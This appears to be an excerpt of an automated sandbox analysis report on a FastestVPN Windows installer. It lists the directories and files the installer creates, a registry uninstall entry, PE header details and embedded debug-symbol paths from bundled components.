    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\ResourcesJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-BMT4K.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-R9MSC.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-BHOGA.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-QHD6A.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-SURFG.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-KHD5M.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-QB0TS.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-VCK53.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-3IEGE.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-4JTDD.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-PT7JD.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-TJ0RL.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-2M6O7.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-8GI77.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-LGPJJ.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-99CNN.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-27RBI.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-FONAV.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-QC9L9.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-PVDB2.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-QVG37.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\dataJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\data\is-ULNKB.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\data\is-0I635.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\data\is-D42BD.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\data\is-HLRBV.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driverJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\is-S7R33.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\is-ERERV.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windowsJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-FB3IH.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-IVC6I.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-3E4R0.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-EVBIG.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-NJEU5.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-9CG7N.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\i386Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-N7H3Q.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-FO1DF.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-7UMG2.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-EUPO7.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-0SJ98.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-QK97L.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-F9EDV.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-435KP.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-82JR2.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-A65FP.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-FKR1L.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-T11E5.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-S7ED1.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-MUO8K.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-KGUOR.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-VEH95.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-EMFMT.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-O6P8U.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\spJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\is-CO85A.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\is-HPLUE.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driverJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows7Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\amd64Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\amd64\is-56JKD.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\i386Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\i386\is-U4BRD.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows8Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\amd64Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\amd64\is-3BVSP.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\i386Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\i386\is-5MIQQ.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\releaseJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\release\is-K1359.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\release\is-ITKUS.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\ServiceJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-R1MP1.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-F2JV1.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-NHIDA.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-O8H61.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-NHJNP.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-1CJVQ.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-CEUK8.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-UNANK.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-8M1QQ.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-KI25U.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-EDC5Q.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-SIFEE.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-IBU7R.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-R18E4.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-C94HO.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-HF6P6.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-L468K.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-QGH94.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-9QKBR.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-CJ7QL.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-2M5AV.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-0QDRN.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-E39BQ.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-ILF9I.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-I330H.tmpJump to behavior
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeDirectory created: C:\Program Files\FastestVPN\Service\InstallUtil.InstallLog
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeDirectory created: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.InstallLog
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeDirectory created: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.InstallState
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FastestVPN_is1Jump to behavior
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeFile created: C:\Program Files\FastestVPN\Service\InstallUtil.InstallLog
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeFile created: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.InstallLog
    Source: mnFHs2DuKg.exeStatic PE information: certificate valid
    Source: mnFHs2DuKg.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
    Source: Binary string: System.Configuration.Install.pdb source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000026.00000002.2047950883.0000000002916000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: C:\Users\vagrant\buildbot\windows-server-2019-static-msbuild\vcpkg\buildtrees\openssl\x64-windows-ovpn-rel\libssl-1_1-x64.pdb source: is-KHD5M.tmp.2.dr
    Source: Binary string: /_/artifacts/obj/Microsoft.AspNet.SignalR.Core/Release/net45/Microsoft.AspNet.SignalR.Core.pdbE source: FastestVPN.WindowsService.exe, 00000032.00000002.2716519161.0000000000D34000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.core\obj\Release\netstandard2.0\SQLitePCLRaw.core.pdb source: FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2762886148.000000000B9F2000.00000002.00000001.01000000.0000002E.sdmp, FastestVPN.exe, 00000018.00000002.2743669324.000000000568D000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: C:\Users\samuli\source\repos\tap-windows6\devcon\x64\Release\devcon.pdb source: tapinstall.exe, 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmp, tapinstall.exe, 0000000A.00000000.1800979010.00007FF76A724000.00000002.00000001.01000000.00000008.sdmp, tapinstall.exe, 0000000B.00000002.1906163964.00007FF76A724000.00000002.00000001.01000000.00000008.sdmp, tapinstall.exe, 0000000B.00000000.1807542733.00007FF76A724000.00000002.00000001.01000000.00000008.sdmp, is-NJEU5.tmp.2.dr
    Source: Binary string: C:\BuildAgent\work\da2c3d9512902c54\Tooling\obj\Release\System.Web.Cors\System.Web.Cors.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2730237807.00000000041B2000.00000002.00000001.01000000.0000003D.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.WindowsService\obj\Release\FastestVPN.WindowsService.pdbe\FastestVPN.WindowsServic source: FastestVPN.WindowsService.exe, 00000026.00000002.2045743355.00000000008F8000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN\obj\Debug\VPN.pdbB3\3 N3_CorDllMainmscoree.dll source: FastestVPN.WindowsService.exe, 00000032.00000002.2731823625.0000000004282000.00000002.00000001.01000000.0000003F.sdmp, is-2M5AV.tmp.2.dr
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.Common\obj\Debug\VPN.Common.pdb source: mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000026.00000002.2049263909.0000000005152000.00000002.00000001.01000000.00000028.sdmp, is-VO662.tmp.2.dr
    Source: Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.provider.dynamic_cdecl\obj\Release\netstandard2.0\SQLitePCLRaw.provider.dynamic_cdecl.pdb source: FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2763144416.000000000BA12000.00000002.00000001.01000000.0000002F.sdmp, is-G502V.tmp.2.dr
    Source: Binary string: /_/artifacts/obj/Microsoft.AspNet.SignalR.Core/Release/net45/Microsoft.AspNet.SignalR.Core.pdbSHA256Z source: FastestVPN.WindowsService.exe, 00000026.00000002.2049372193.0000000005192000.00000002.00000001.01000000.00000027.sdmp, FastestVPN.WindowsService.exe, 00000032.00000002.2723960778.000000000163C000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000032.00000002.2716519161.0000000000D34000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: Microsoft.Owin.Cors.pdbSHA256 source: FastestVPN.WindowsService.exe, 00000032.00000002.2729825927.0000000004192000.00000002.00000001.01000000.00000039.sdmp
    Source: Binary string: \??\C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.PDB source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.00000000009C2000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: E:\nt\dnsrv\sdktools\reskit\content\subinacl\source\obj\i386\subinacl.pdb source: subinacl.exe, subinacl.exe, 0000002E.00000002.2078433919.0000000001001000.00000020.00000001.01000000.00000032.sdmp, subinacl.exe, 0000002E.00000000.2064908771.0000000001001000.00000020.00000001.01000000.00000032.sdmp, is-L468K.tmp.2.dr
    Source: Binary string: HPpn0C:\Windows\mscorlib.pdb source: FastestVPN.exe, 00000018.00000002.2748687884.0000000005DD8000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: qEC:\Program Files\FastestVPN\Service\Microsoft.AspNet.SignalR.Core.pdb source: FastestVPN.WindowsService.exe, 00000032.00000002.2723960778.000000000163C000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: Microsoft.Owin.Cors.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2729825927.0000000004192000.00000002.00000001.01000000.00000039.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.Common\obj\Release\FastestVPN.Common.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2727255873.0000000003D72000.00000002.00000001.01000000.00000033.sdmp, is-R1MP1.tmp.2.dr
    Source: Binary string: C:\Users\vagrant\buildbot\windows-server-2019-static-msbuild\vcpkg\buildtrees\openssl\x64-windows-ovpn-rel\libssl-1_1-x64.pdb?? source: is-KHD5M.tmp.2.dr
    Source: Binary string: Microsoft.Owin.Diagnostics.pdbSHA256 source: FastestVPN.WindowsService.exe, 00000032.00000002.2731000369.0000000004242000.00000002.00000001.01000000.0000003A.sdmp
    Source: Binary string: \??\C:\Windows\exe\FastestVPN.WindowsService.pdbdows A source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.00000000009C2000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: /_/artifacts/obj/Microsoft.AspNet.SignalR.Core/Release/net45/Microsoft.AspNet.SignalR.Core.pdb@\ source: FastestVPN.WindowsService.exe, 00000032.00000002.2723960778.000000000163C000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN\obj\Debug\VPN.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2731823625.0000000004282000.00000002.00000001.01000000.0000003F.sdmp, is-2M5AV.tmp.2.dr
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.WindowsService\obj\Release\FastestVPN.WindowsService.pdbx source: FastestVPN.WindowsService.exe, 00000026.00000002.2045743355.00000000008F8000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: C:\Users\samuli\source\repos\tap-windows6\src\Release\tap0901.pdb source: is-VEH95.tmp.2.dr
    Source: Binary string: c:\Users\Junaid AK\Desktop\New folder (2)\SingleInstanceApplication\SingleInstanceApplication\obj\Release\SingleInstanceApplication.pdb source: FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2740327424.0000000004AC2000.00000002.00000001.01000000.0000000C.sdmp, is-KH3QE.tmp.2.dr
    Source: Binary string: Microsoft.Owin.Hosting.pdbSHA256d"M! source: FastestVPN.WindowsService.exe, 00000032.00000002.2727873554.0000000004072000.00000002.00000001.01000000.00000034.sdmp, is-SIFEE.tmp.2.dr
    Source: Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.provider.dynamic_cdecl\obj\Release\netstandard2.0\SQLitePCLRaw.provider.dynamic_cdecl.pdbSHA256 source: FastestVPN.exe, 00000018.00000002.2763144416.000000000BA12000.00000002.00000001.01000000.0000002F.sdmp, is-G502V.tmp.2.dr
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.OpenVpn\obj\Debug\VPN.OpenVpn.pdbRhlh ^h_CorDllMainmscoree.dll source: FastestVPN.WindowsService.exe, 00000032.00000002.2731998895.0000000004292000.00000002.00000001.01000000.00000040.sdmp
    Source: Binary string: D:\a\1\s\SDK\AppCenterAnalytics\Microsoft.AppCenter.Analytics.WindowsDesktop\obj\Microsoft.AppCenter.Analytics.WindowsDesktop\Release\net472\Microsoft.AppCenter.Analytics.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2748000821.0000000005A42000.00000002.00000001.01000000.0000002B.sdmp
    Source: Binary string: /_/artifacts/obj/Microsoft.AspNet.SignalR.Core/Release/net45/Microsoft.AspNet.SignalR.Core.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000026.00000002.2049372193.0000000005192000.00000002.00000001.01000000.00000027.sdmp, FastestVPN.WindowsService.exe, 00000032.00000002.2723960778.000000000163C000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000032.00000002.2716519161.0000000000D34000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: c:\projects\projectsJ\nfsdk2_1.6\bin\release\win32\nfapi.pdb< source: nfregdrv.exe, 0000001F.00000002.1933399084.0000000010019000.00000002.00000001.01000000.0000001D.sdmp, nfregdrv.exe, 00000023.00000002.1941136972.0000000010019000.00000002.00000001.01000000.0000001D.sdmp
